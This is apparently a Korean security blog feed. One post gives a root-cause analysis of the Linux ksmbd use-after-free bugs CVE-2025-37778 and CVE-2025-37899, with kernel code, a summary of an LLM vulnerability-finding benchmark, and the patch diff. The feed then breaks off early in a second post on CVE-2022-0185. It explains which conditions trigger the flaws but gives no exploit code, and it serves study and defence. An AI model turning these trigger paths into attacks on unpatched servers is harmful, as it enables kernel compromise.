&lt;p&gt;&lt;code&gt;sess-&amp;gt;state&lt;/code&gt;가 &lt;code&gt;SMB2_SESSION_VALID&lt;/code&gt; 값을 가지는 경우는 다음과 같은 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2pdu.c#L1665&quot;&amp;gt;&lt;code&gt;smb2_sess_setup&lt;/code&gt;&amp;lt;/a&amp;gt;에서 일어납니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int smb2_sess_setup(struct ksmbd_work *work)
{
	...
			if (!ksmbd_conn_need_reconnect(conn)) {
				ksmbd_conn_set_good(conn);
				sess-&amp;gt;state = SMB2_SESSION_VALID;
			}
...
				if (!ksmbd_conn_need_reconnect(conn)) {
					ksmbd_conn_set_good(conn);
					sess-&amp;gt;state = SMB2_SESSION_VALID;
				}
				...
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;앞서 언급했듯, 취약점은 &lt;code&gt;krb5_authenticate&lt;/code&gt;에서 발생합니다. &lt;code&gt;sess-&amp;gt;state&lt;/code&gt;가 &lt;code&gt;SMB2_SESSION_VALID&lt;/code&gt;값을 가지게 될 경우 &lt;code&gt;ksbmd_free_user&lt;/code&gt;를 통해 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;를 해제합니다.&lt;/p&gt;
&lt;p&gt;그리고 후속조치로 호출되는 &lt;code&gt;ksmbd_krb5_authenticate&lt;/code&gt;에서 세션 초기화가 정상적으로 진행된다고 보고있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef CONFIG_SMB_SERVER_KERBEROS5
static int krb5_authenticate(struct ksmbd_work *work,
			     struct smb2_sess_setup_req *req,
			     struct smb2_sess_setup_rsp *rsp)
{
	struct ksmbd_conn *conn = work-&amp;gt;conn;
	struct ksmbd_session *sess = work-&amp;gt;sess;
	char *in_blob, *out_blob;
	struct channel *chann = NULL;
	u64 prev_sess_id;
	int in_len, out_len;
	int retval;
    
    ...
	if (sess-&amp;gt;state == SMB2_SESSION_VALID)
		ksmbd_free_user(sess-&amp;gt;user);

	retval = ksmbd_krb5_authenticate(sess, in_blob, in_len,
					 out_blob, &amp;amp;out_len);
	if (retval) {
		ksmbd_debug(SMB, &quot;krb5 authentication failed\n&quot;);
		return -EINVAL;
	}

    ...
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ksmbd_krb5_authenticate&lt;/code&gt;를 통해 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;가 유효한 값으로 초기화 되거나 또는 에러 값 반환으로 인해 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;가 다른 구간에서 사용되지 않아야 하지만, 초기화가 되지 않은 상태에서 다른 구간에서 사용하는 경우가 발생합니다. 즉, 해제는 했음에도 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;가 다른 곳에서 참조되는 상황이 발생합니다. (Use-After-Free)&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;&quot;&amp;gt;&lt;code&gt;ksmbd_krb5_authenticate&lt;/code&gt;&amp;lt;/a&amp;gt;를 한번 들여다볼까요?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef CONFIG_SMB_SERVER_KERBEROS5
int ksmbd_krb5_authenticate(struct ksmbd_session *sess, char *in_blob,
			    int in_len, char *out_blob, int *out_len)
{
	struct ksmbd_spnego_authen_response *resp;
	struct ksmbd_login_response_ext *resp_ext = NULL;
	struct ksmbd_user *user = NULL;
	int retval;

	resp = ksmbd_ipc_spnego_authen_request(in_blob, in_len);
	if (!resp) {
		ksmbd_debug(AUTH, &quot;SPNEGO_AUTHEN_REQUEST failure\n&quot;);
		return -EINVAL;
	}

	if (!(resp-&amp;gt;login_response.status &amp;amp; KSMBD_USER_FLAG_OK)) {
		ksmbd_debug(AUTH, &quot;krb5 authentication failure\n&quot;);
		retval = -EPERM;
		goto out;
	}

	if (*out_len &amp;lt;= resp-&amp;gt;spnego_blob_len) {
		ksmbd_debug(AUTH, &quot;buf len %d, but blob len %d\n&quot;,
			    *out_len, resp-&amp;gt;spnego_blob_len);
		retval = -EINVAL;
		goto out;
	}

	if (resp-&amp;gt;session_key_len &amp;gt; sizeof(sess-&amp;gt;sess_key)) {
		ksmbd_debug(AUTH, &quot;session key is too long\n&quot;);
		retval = -EINVAL;
		goto out;
	}

	if (resp-&amp;gt;login_response.status &amp;amp; KSMBD_USER_FLAG_EXTENSION)
		resp_ext = ksmbd_ipc_login_request_ext(resp-&amp;gt;login_response.account);

	user = ksmbd_alloc_user(&amp;amp;resp-&amp;gt;login_response, resp_ext);
	if (!user) {
		ksmbd_debug(AUTH, &quot;login failure\n&quot;);
		retval = -ENOMEM;
		goto out;
	}
	sess-&amp;gt;user = user;

	memcpy(sess-&amp;gt;sess_key, resp-&amp;gt;payload, resp-&amp;gt;session_key_len);
	memcpy(out_blob, resp-&amp;gt;payload + resp-&amp;gt;session_key_len,
	       resp-&amp;gt;spnego_blob_len);
	*out_len = resp-&amp;gt;spnego_blob_len;
	retval = 0;
out:
	kvfree(resp);
	return retval;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;코드에서 볼 수 있듯, &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;는 많은 조건문을 거치고나서 값 설정이 진행이됩니다. 중간 조건문을 트리거 시킬 수 있다면, &lt;code&gt;ksmbd_krb5_authenticate&lt;/code&gt;에서 값을 재설정하는 것을 막을 수 있겠죠. 이로인해 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;는 해제된 영역을 여전히 가리키고 있게됩니다. 그리고 최종적으로 &lt;code&gt;krb5_authenticate&lt;/code&gt;가 오류로 인해 &lt;code&gt;-EINVAL&lt;/code&gt; 값을 반환했을 때, 이전에 free 처리된 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;는 재사용되지 않아야하지만, 특정 영역에서 재사용됨을 언급하고있습니다.&lt;/p&gt;
&lt;p&gt;뒤에 서술된 벤치마킹의 &amp;lt;a href=&quot;https://github.com/SeanHeelan/o3_finds_cve-2025-37899/blob/master/o3_finds_CVE-2025-37778.txt&quot;&amp;gt;o3의 보고서&amp;lt;/a&amp;gt;에서 이에 대한 활용 방안이 자세히 제시되어있습니다.&lt;/p&gt;
&lt;h1&gt;What CVE-2025-37778 Teaches Us and How to Use It in Benchmarking&lt;/h1&gt;
&lt;p&gt;위에서 알아본 취약점을 벤치마킹에 활용하기 위해서 따져봐야할 것들에 대해서 생각해봅시다.&lt;/p&gt;
&lt;p&gt;위 취약점에서 볼 수 있듯, 다음과 같은 여부를 따져봐야겠죠?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;앞서 알아본 &lt;code&gt;ksmbd_free_user&lt;/code&gt;의 트리거&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sess-&amp;gt;user&lt;/code&gt;를 다시 덮어쓸 수 없게 하는 경로의 트리거&lt;/li&gt;
&lt;li&gt;위 두 과정을 통해 아직 초기화되지 않은 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;에 접근할 코드 구간의 존재 여부&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;제보자는 o3의 벤치마킹을 위해 위 취약점을 사용했다했습니다. 제보자는 다음과 같은 정리를 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;위 취약점을 이해하기 위해서는 연결 처리, 세션 설정과 관련된 코드만 알면됨&lt;/li&gt;
&lt;li&gt;취약점 트리거까지 호출되는 함수를 &lt;code&gt;ksmbd&lt;/code&gt;에서 최소한으로 읽는다 했을 때의 분량은 약 3,300줄&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이와 같은 환경에서 LLM에 어떻게 명확한 코드를 제시하고, 성능에 대해서 고민하게됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LLM에는 성능의 문제로 인해 모든 코드를 넘겨주는 것은 비효율적임&lt;/li&gt;
&lt;li&gt;자동화된 LLM 취약점 탐지 시스템에서 어떤 함수를 분석할지 분명히할 수 없다면, 의미가 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이에 대해서는 다음과 같은 결론을 내리게됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SMB에 대한 명령 핸들러를 개별적으로 확장시킴. 즉, 세션 설정에 대한 명령 핸들러가 존재한다면, 해당 핸들러에서 호출하는 모든 코드를 포함시킴&lt;/li&gt;
&lt;li&gt;위 과정에서 함수의 호출 깊이는 3으로 제한, 이는 &lt;code&gt;CVE-2025-37778&lt;/code&gt;를 이해하기 위해 읽어야할 함수 호출 최대 깊이&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;세션 설정에 대한 핸들러외에도 다음과 같은 함수까지 포함시켜 LLM의 정확성을 높였다고 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;네트워크에서 데이터를 읽어오는 함수&lt;/li&gt;
&lt;li&gt;들어오는 요청을 파싱하는 함수&lt;/li&gt;
&lt;li&gt;실행할 명령 핸들러를 선택하는 함수&lt;/li&gt;
&lt;li&gt;실행이 끝난 뒤 연결을 종료하는 함수&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;결과적으로 벤치마킹에 사용될 3,300줄(약 27,000 토큰)을 가진 프롬프트(&lt;code&gt;session_setup_context&lt;/code&gt;)가 완성됩니다. 이는 코드에 해당하는 프롬프트며 다음과 같은 프롬프트 파일들이 추가적으로 사용됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;system_prompt_uafs.prompt : False positive에 대한 방지 유도, 리눅스 커널 코드에서 UAF 취약점을 유발하는 부분 탐지 요청&lt;/li&gt;
&lt;li&gt;ksmbd_explainer.prompt : &lt;code&gt;ksmbd&lt;/code&gt; 아키텍처에 대한 설명&lt;/li&gt;
&lt;li&gt;session_setup_context_explainer.prompt : 주어진 &lt;code&gt;ksmbd&lt;/code&gt; 코드 컨텍스트(&lt;code&gt;session_setup_context.prompt&lt;/code&gt;)에 대한 설명(오디팅할 SMB 명령어들을 찾을 수 있는 위치, 함수의 깊이등)&lt;/li&gt;
&lt;li&gt;audit_request.prompt : 오디팅 요청&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Benchmark results&lt;/h1&gt;
&lt;p&gt;위 과정에서 &lt;code&gt;CVE-2025-37778&lt;/code&gt;를 찾을 수 있는가에 대한 결과는 다음과 같이 나왔다고합니다. (100번의 실행동안의 결과)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;모델&lt;/th&gt;
&lt;th&gt;성공 횟수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenAI o3&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 3.7&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Sonnet 3.5&lt;/td&gt;
&lt;td&gt;x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;session setup&lt;/code&gt; 핸들러에 대한 밴치마킹 이후, 제보자는 모든 명령 핸들러에 대한 취약점을 찾고자합니다. 그리고 결과적으로 &lt;code&gt;CVE-2025-37899&lt;/code&gt;를 발견할 수 있었습니다. 이에 대해서 알아봅시다.&lt;/p&gt;
&lt;h1&gt;CVE-2025-37899&lt;/h1&gt;
&lt;p&gt;필자는 &lt;code&gt;smb2_session_setup&lt;/code&gt; 핸들러외에 존재하는 모든 핸들러에서 취약점 탐지 테스팅을 진행합니다. 다음과 같이 &lt;code&gt;smb2_session_setup&lt;/code&gt;외에 다양한 명령어 핸들러들이 존재합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2ops.c#L171&quot;&amp;gt;https://elixir.bootlin.com/linux/v6.14/source/fs/smb/server/smb2ops.c#L171&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static struct smb_version_cmds smb2_0_server_cmds[NUMBER_OF_SMB2_COMMANDS] = {
	[SMB2_NEGOTIATE_HE]	=	{ .proc = smb2_negotiate_request, },
	[SMB2_SESSION_SETUP_HE] =	{ .proc = smb2_sess_setup, },
	[SMB2_TREE_CONNECT_HE]  =	{ .proc = smb2_tree_connect,},
	[SMB2_TREE_DISCONNECT_HE]  =	{ .proc = smb2_tree_disconnect,},
	[SMB2_LOGOFF_HE]	=	{ .proc = smb2_session_logoff,},
	[SMB2_CREATE_HE]	=	{ .proc = smb2_open},
	[SMB2_QUERY_INFO_HE]	=	{ .proc = smb2_query_info},
	[SMB2_QUERY_DIRECTORY_HE] =	{ .proc = smb2_query_dir},
	[SMB2_CLOSE_HE]		=	{ .proc = smb2_close},
	[SMB2_ECHO_HE]		=	{ .proc = smb2_echo},
	[SMB2_SET_INFO_HE]      =       { .proc = smb2_set_info},
	[SMB2_READ_HE]		=	{ .proc = smb2_read},
	[SMB2_WRITE_HE]		=	{ .proc = smb2_write},
	[SMB2_FLUSH_HE]		=	{ .proc = smb2_flush},
	[SMB2_CANCEL_HE]	=	{ .proc = smb2_cancel},
	[SMB2_LOCK_HE]		=	{ .proc = smb2_lock},
	[SMB2_IOCTL_HE]		=	{ .proc = smb2_ioctl},
	[SMB2_OPLOCK_BREAK_HE]	=	{ .proc = smb2_oplock_break},
	[SMB2_CHANGE_NOTIFY_HE]	=	{ .proc = smb2_notify},
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;결과적으로 이 핸들러 + 알파에 대한 100k 토큰을 갖는 요청을 만들고 o3에서 100번의 실행 중 단 한번에서 &lt;code&gt;CVE-2025-37899&lt;/code&gt;를 발견해냅니다.&lt;/p&gt;
&lt;p&gt;새로운 이 취약점은 &lt;code&gt;SMB2_LOGOFF_HE&lt;/code&gt; 커맨드를 처리하는 &lt;code&gt;smb2_session_logoff&lt;/code&gt; 함수에서 발생하게됩니다.&lt;/p&gt;
&lt;h2&gt;RCA&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CVE-2025-37899&lt;/code&gt;는 동기화 장치가 없음에 따른 레이스 컨디션으로 발생하는 Use-After-Free입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/smb/server/smb2pdu.c?id=e86e9134e1d1c90a960dd57f59ce574d27b9a124#n2252&quot;&amp;gt;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/fs/smb/server/smb2pdu.c?id=e86e9134e1d1c90a960dd57f59ce574d27b9a124#n2252&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * smb2_session_logoff() - handler for session log off request
 * @work:	smb work containing request buffer
 *
 * Return:      0
 */
int smb2_session_logoff(struct ksmbd_work *work)
{
	if (sess-&amp;gt;user) {
		ksmbd_free_user(sess-&amp;gt;user);
		sess-&amp;gt;user = NULL;
	}
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;해당 취약점은 하나의 세션에 두 개의 스레드가 동작할 때, 하나의 스레드 A에서 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;에 대한 역참조를 진행하기 전, &lt;code&gt;smb2_session_logoff&lt;/code&gt;를 사용하는 스레드 B에 의해서 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;가 &lt;code&gt;ksmbd_free_user(sess-&amp;gt;user);&lt;/code&gt;에 의해 해제될 경우 이를 동기화 하는 장치가 없기 때문에 결과적으로 해제된 메모리를 역참조하는 경우입니다.(UAF)&lt;/p&gt;
&lt;p&gt;위 코드에 등장하는 &lt;code&gt;sess-&amp;gt;user = NULL;&lt;/code&gt;은 의미가 없습니다. 레이스 컨디션 원리상 &lt;code&gt;ksmbd_free_user(sess-&amp;gt;user);&lt;/code&gt;가 호출된 시점에 해당 메모리에 접근을 할 수 있다면 충분히 악용할 수 있기 때문입니다.&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2fc9feff45d92a92cd5f96487655d5be23fb7e2b&quot;&amp;gt;패치&amp;lt;/a&amp;gt;에서는 &lt;code&gt;smb2_session_logoff&lt;/code&gt; 에서 &lt;code&gt;sess-&amp;gt;user&lt;/code&gt;를 해제하고 &lt;code&gt;NULL&lt;/code&gt;을 설정하는 코드 자체를 삭제합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/fs/smb/server/smb2pdu.c b/fs/smb/server/smb2pdu.c
index acc05657cfc72a..46aa082457424b 100644
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -2249,10 +2249,6 @@ int smb2_session_logoff(struct ksmbd_work *work)
 	sess-&amp;gt;state = SMB2_SESSION_EXPIRED;
 	up_write(&amp;amp;conn-&amp;gt;session_lock);
 
-	if (sess-&amp;gt;user) {
-		ksmbd_free_user(sess-&amp;gt;user);
-		sess-&amp;gt;user = NULL;
-	}
 	ksmbd_all_conn_set_status(sess_id, KSMBD_SESS_NEED_SETUP);
 
 	rsp-&amp;gt;StructureSize = cpu_to_le16(4);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-37899/lucky.png&quot; /&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번 글에서 알아본 취약점을 발굴하는 과정은 현재의 LLM의 수준이 인간 오디터에 훨씬 가까워졌음을 시사합니다. (라고 원 글에서도 언급합니다.)&lt;/p&gt;
&lt;p&gt;또한, 이렇게 발전한 AI 관련 기술들은 적절하게 활용된다면 취약점 연구에서 성과 향상에 중요한 재료가 될거라고 제보자는 언급하고 있습니다. 실제로 이런 글을 접해보니 모델 발전이 꾸준히 잘 이루어지고 있는 듯 하고, 활용 가치도 커 보입니다. 안쓰면 오히려 손해인 느낌?&lt;/p&gt;
&lt;p&gt;앞으로의 할일은 목전에 둔 AI 에이전트 개발에 매진하는 일이겠네요. 팀 프로젝트인 만큼 기대가 큽니다. 재밌겠네요 🙂.&lt;/p&gt;
&lt;p&gt;&amp;lt;div align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2025-37899/kami.png&quot; /&amp;gt;&amp;lt;figcaption&amp;gt;LLM으로 신세계의 신이된다.&amp;lt;/figcaption&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;AI로 우주정복을 하고 돌아오도록 하겠습니다. 그럼 20000.&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/&quot;&amp;gt;https://sean.heelan.io/2025/05/22/how-i-used-o3-to-find-cve-2025-37899-a-remote-zeroday-vulnerability-in-the-linux-kernels-smb-implementation/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://wiki.samba.org/index.php/Linux_Kernel_Server&quot;&amp;gt;https://wiki.samba.org/index.php/Linux_Kernel_Server&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2022-0185</title><link>https://aidenkim-com.github.io/posts/cve-2022-0185/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2022-0185/</guid><description>Analysis of a Privilege Escalation Vulnerability in Linux Kernel File System Syscalls Discovered by Syzkaller</description><pubDate>Sun, 17 Aug 2025 09:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게 된 리눅스의 파일 시스템을 다루는 시스템 콜과 관련된 취약점입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;CVE-2022-0185는 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de2&quot;&amp;gt;2022년 1월 18일 커밋&amp;lt;/a&amp;gt;이 올라오고 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0185&quot;&amp;gt;2022년 2월 11일에 취약점 정보가 공개된&amp;lt;/a&amp;gt; 리눅스 커널 UAF 취약점 입니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.willsroot.io/2022/01/cve-2022-0185.html&quot;&amp;gt;https://www.willsroot.io/2022/01/cve-2022-0185.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0185&quot;&amp;gt;CVE-2022-0185&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/191.html&quot;&amp;gt;CWE-191&amp;lt;/a&amp;gt;, &amp;lt;a href=&quot;http://cwe.mitre.org/data/definitions/190.html&quot;&amp;gt;CWE-190&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;이번에 알아볼 친구는 &amp;lt;a href=&quot;https://github.com/google/syzkaller&quot;&amp;gt;syzkaller&amp;lt;/a&amp;gt;가 발견해냈씁니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2022-0185/boom.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;
장하다!&lt;/p&gt;
&lt;p&gt;취약점을 이해하기 위한 간략한 백그라운드 지식을 배워봅시다.&lt;/p&gt;
&lt;h2&gt;File system context structure (fs_context)&lt;/h2&gt;
&lt;p&gt;리눅스 커널 v5.1에서는 VFS(Virtual File System)에서 마운트 중 파일 시스템 정보를 다룰 때 사용할 &lt;code&gt;fs_context&lt;/code&gt; 구조체, 파일 컨텍스트 개념을 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9bc61ab18b1d41f26dc06b9e6d3c203e65f83fe6&quot;&amp;gt;추가하게 됩니다.&amp;lt;/a&amp;gt; 쉽게 말해 파일 시스템을 마운트 할 때의 메타데이터를 다룰 구조체라 보면 되지 않을까 싶네요. 슈퍼블록! 해당 구조체는 다음과 같은 정보들을 포함하게 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Filesystem context for holding the parameters used in the creation or
 * reconfiguration of a superblock.
 *
 * Superblock creation fills in -&amp;gt;root whereas reconfiguration begins with this
 * already set.
 *
 * See Documentation/filesystems/mounting.txt
 */
struct fs_context {
	struct file_system_type	*fs_type;
	void			*fs_private;	/* The filesystem&apos;s context */
	struct dentry		*root;		/* The root and superblock */
	struct user_namespace	*user_ns;	/* The user namespace for this mount */
	struct net		*net_ns;	/* The network namespace for this mount */
	const struct cred	*cred;		/* The mounter&apos;s credentials */
	const char		*source;	/* The source name (eg. dev path) */
	const char		*subtype;	/* The subtype to set on the superblock */
	void			*security;	/* Linux S&amp;amp;M options */
	unsigned int		sb_flags;	/* Proposed superblock flags (SB_*) */
	unsigned int		sb_flags_mask;	/* Superblock flags that were changed */
	enum fs_context_purpose	purpose:8;
	bool			need_free:1;	/* Need to call ops-&amp;gt;free() */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;해당 구조체와 관련된 내용은 &amp;lt;a href=&quot;https://docs.kernel.org/filesystems/mount_api.html#the-filesystem-context&quot;&amp;gt;공식 문서&amp;lt;/a&amp;gt;를 보시는 것을 추천합니다! 공식 문서에서도 알 수 있듯, 슈퍼블록을 위한 구조체에용.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;파일 시스템 타입&lt;/li&gt;
&lt;li&gt;네임 스페이스&lt;/li&gt;
&lt;li&gt;소스/디바이스 이름&lt;/li&gt;
&lt;li&gt;슈퍼블록 플래그&lt;/li&gt;
&lt;li&gt;보안 세부 사항&lt;/li&gt;
&lt;li&gt;마운트 옵션에 따라 설정되는 파일 시스템 특정 데이터&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 중 &lt;code&gt;fs_type&lt;/code&gt; 멤버와의 연결 고리에 대해서 조금만 더 알아보도록 합시다! 이후에 취약점을 트리거시킬 포인트가 되거든용.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v5.2/source/include/linux/fs.h#L2180&quot;&amp;gt;&lt;code&gt;file_system_type&lt;/code&gt;&amp;lt;/a&amp;gt; 구조체는 이름에서도 알 수 있듯, 마운트할 파일 시스템에 대한 여러 정보를 가지고 있습니당.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct file_system_type {
	const char *name;
	int fs_flags;
#define FS_REQUIRES_DEV		1 
#define FS_BINARY_MOUNTDATA	2
#define FS_HAS_SUBTYPE		4
#define FS_USERNS_MOUNT		8	/* Can be mounted by userns root */
#define FS_RENAME_DOES_D_MOVE	32768	/* FS will handle d_move() during rename() internally. */
	int (*init_fs_context)(struct fs_context *);
	const struct fs_parameter_description *parameters;
	struct dentry *(*mount) (struct file_system_type *, int,
		       const char *, void *);
	void (*kill_sb) (struct super_block *);
	struct module *owner;
	struct file_system_type * next;
	struct hlist_head fs_supers;

	struct lock_class_key s_lock_key;
	struct lock_class_key s_umount_key;
	struct lock_class_key s_vfs_rename_key;
	struct lock_class_key s_writers_key[SB_FREEZE_LEVELS];

	struct lock_class_key i_lock_key;
	struct lock_class_key i_mutex_key;
	struct lock_class_key i_mutex_dir_key;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;초기화되는 모습은 &amp;lt;a href=&quot;https://elixir.bootlin.com/linux/v5.2/source/fs/ext4/super.c#L6066&quot;&amp;gt;각각의 파일 시스템과 관련된 파일&amp;lt;/a&amp;gt;에서 볼 수 있습니당. &lt;code&gt;ext4&lt;/code&gt;를 예로 보면 다음과 같습니다. 초기화되는 코드를 보면 &lt;code&gt;init_fs_context&lt;/code&gt; 멤버는 건들지도 않는다는 것을 알 수 있습니다. 이로인해 해당 값은 0이 됩니다. 대부분의 파일 시스템은 이를 초기화하지 않습니다. (대부분 까진 아닌가..?)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static struct file_system_type ext4_fs_type = {
	.owner		= THIS_MODULE,
	.name		= &quot;ext4&quot;,
	.mount		= ext4_mount,
	.kill_sb	= kill_block_super,
	.fs_flags	= FS_REQUIRES_DEV,
};
MODULE_ALIAS_FS(&quot;ext4&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;System calls related to the file system context&lt;/h2&gt;
&lt;p&gt;앞서 알아본 파일 시스템 컨텍스트(파일 시스템 마운트)와 관련된 시스템 콜인 &lt;code&gt;fsconfig&lt;/code&gt;, &lt;code&gt;fsopen&lt;/code&gt;, &lt;code&gt;fsmount&lt;/code&gt; 등이 &amp;lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ecdab150fddb42fe6a739335257949220033b782&quot;&amp;gt;커널 버전 v5.2에서 추가됩니다.&amp;lt;/a&amp;gt; 이름에서도 알 수 있듯, 파일 시스템 마운트를 위한 컨텍스트를 다룰 때 사용할 수 있는 시스템 콜들입니다. 사용 예는 다음과 같습니다. 파일 시스템 컨텍스트를 만들고 메타 데이터를 추가하는 모습을 볼 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    fd = fsopen(&quot;ext4&quot;, FSOPEN_CLOEXEC);
    fsconfig(fd, fsconfig_set_path, &quot;source&quot;, &quot;/dev/sda1&quot;, AT_FDCWD);
    fsconfig(fd, fsconfig_set_path_empty, &quot;journal_path&quot;, &quot;&quot;, journal_fd);
    fsconfig(fd, fsconfig_set_fd, &quot;journal_fd&quot;, &quot;&quot;, journal_fd);
    fsconfig(fd, fsconfig_set_flag, &quot;user_xattr&quot;, NULL, 0);
    fsconfig(fd, fsconfig_set_flag, &quot;noacl&quot;, NULL, 0);
    fsconfig(fd, fsconfig_set_string, &quot;sb&quot;, &quot;1&quot;, 0);
    fsconfig(fd, fsconfig_set_string, &quot;errors&quot;, &quot;continue&quot;, 0);
    fsconfig(fd, fsconfig_set_string, &quot;data&quot;, &quot;journal&quot;, 0);
